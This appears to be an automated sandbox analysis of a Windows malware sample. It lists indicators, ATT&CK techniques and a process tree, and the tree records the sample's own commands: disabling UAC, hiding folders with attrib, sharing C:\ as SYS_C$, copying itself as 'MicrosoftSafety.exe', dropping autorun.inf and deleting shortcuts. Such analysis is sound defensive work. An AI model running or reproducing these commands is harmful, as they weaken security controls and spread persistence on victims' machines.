Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3504	cmd.exe
5176	reg.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Network\SharingHandler\	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
Token: SeDebugPrivilege	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 4296	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	84
PID 5100 wrote to memory of 4296	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	84
PID 5100 wrote to memory of 4296	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	84
PID 5100 wrote to memory of 1016	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	85
PID 5100 wrote to memory of 1016	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	85
PID 5100 wrote to memory of 1016	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	85
PID 5100 wrote to memory of 2388	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	86
PID 5100 wrote to memory of 2388	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	86
PID 5100 wrote to memory of 2388	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	86
PID 5100 wrote to memory of 4796	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	87
PID 5100 wrote to memory of 4796	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	87
PID 5100 wrote to memory of 4796	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	87
PID 5100 wrote to memory of 2872	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	91
PID 5100 wrote to memory of 2872	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	91
PID 5100 wrote to memory of 2872	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	91
PID 5100 wrote to memory of 3376	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	92
PID 5100 wrote to memory of 3376	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	92
PID 5100 wrote to memory of 3376	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	92
PID 5100 wrote to memory of 4292	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	93
PID 5100 wrote to memory of 4292	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	93
PID 5100 wrote to memory of 4292	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	93
PID 5100 wrote to memory of 2648	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	94
PID 5100 wrote to memory of 2648	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	94
PID 5100 wrote to memory of 2648	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	94
PID 5100 wrote to memory of 2504	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	95
PID 5100 wrote to memory of 2504	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	95
PID 5100 wrote to memory of 2504	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	95
PID 5100 wrote to memory of 1720	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	96
PID 5100 wrote to memory of 1720	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	96
PID 5100 wrote to memory of 1720	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	96
PID 5100 wrote to memory of 936	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	97
PID 5100 wrote to memory of 936	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	97
PID 5100 wrote to memory of 936	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	97
PID 5100 wrote to memory of 1608	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	98
PID 5100 wrote to memory of 1608	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	98
PID 5100 wrote to memory of 1608	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	98
PID 5100 wrote to memory of 4424	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	99
PID 5100 wrote to memory of 4424	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	99
PID 5100 wrote to memory of 4424	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	99
PID 5100 wrote to memory of 2692	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	105
PID 5100 wrote to memory of 2692	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	105
PID 5100 wrote to memory of 2692	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	105
PID 5100 wrote to memory of 3488	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	106
PID 5100 wrote to memory of 3488	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	106
PID 5100 wrote to memory of 3488	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	106
PID 5100 wrote to memory of 548	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	107
PID 5100 wrote to memory of 548	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	107
PID 5100 wrote to memory of 548	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	107
PID 5100 wrote to memory of 3972	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	108
PID 5100 wrote to memory of 3972	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	108
PID 5100 wrote to memory of 3972	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	108
PID 5100 wrote to memory of 2600	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	110
PID 5100 wrote to memory of 2600	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	110
PID 5100 wrote to memory of 2600	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	110
PID 5100 wrote to memory of 2036	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	111
PID 5100 wrote to memory of 2036	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	111
PID 5100 wrote to memory of 2036	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	111
PID 5100 wrote to memory of 664	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	112
PID 5100 wrote to memory of 664	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	112
PID 5100 wrote to memory of 664	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	112
PID 5100 wrote to memory of 1700	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	113
PID 5100 wrote to memory of 1700	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	113
PID 5100 wrote to memory of 1700	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	113
PID 5100 wrote to memory of 3584	5100	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe	114

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

Views/modifies file attributes 1 TTPs 11 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5140	attrib.exe
5296	attrib.exe
5380	attrib.exe
5472	attrib.exe
4396	attrib.exe
4048	attrib.exe
5224	attrib.exe
5596	attrib.exe
5548	attrib.exe
5512	attrib.exe
5500	attrib.exe

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:784

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:792

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:60

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2612

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2840

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3468
- C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
  "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe"
  2⤵
  - Modifies firewall policy service
  - UAC bypass
  - Windows security bypass
  - Windows security modification
  - Checks whether UAC is enabled
  - Enumerates connected drives
  - Drops autorun.inf file
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b"
    3⤵
    PID:4296
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1372
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:4048
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b /max .
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:1016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c tskill taskmagr
    3⤵
    PID:2388
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3576
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd C:\ & del *.lnk
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4796
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c net share SYS_C$=C:\
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2872
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:768
  - - C:\Windows\SysWOW64\net.exe
      net share SYS_C$=C:\
      4⤵
      PID:1876
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 share SYS_C$=C:\
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1012
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3376
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c MKDIR "C:\Program File\Microsoft"
    3⤵
    PID:4292
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c COPY "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe" "C:\Program File\Microsoft\MicrosoftSafety.exe"
    3⤵
    PID:2648
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5052
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2504
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3256
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File"
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5380
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H "C:\Program File\Microsoft"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1720
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4808
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H "C:\Program File\Microsoft"
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM
    3⤵
    PID:936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4532
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +H C:\C0MM\C0MM
    3⤵
    PID:1608
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1036
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +H C:\C0MM\C0MM
      4⤵
      Sets file to hidden
      Views/modifies file attributes
      PID:5296
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib -r -a C:\autorun.inf
    3⤵
    PID:4424
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -r -a C:\autorun.inf
      4⤵
      Views/modifies file attributes
      PID:5140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c attrib +s +h +r C:\autorun.inf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2692
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r C:\autorun.inf
      4⤵
      Sets file to hidden
      Drops autorun.inf file
      Views/modifies file attributes
      PID:5224
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c cd F:\ & del *.lnk
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3488
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4692
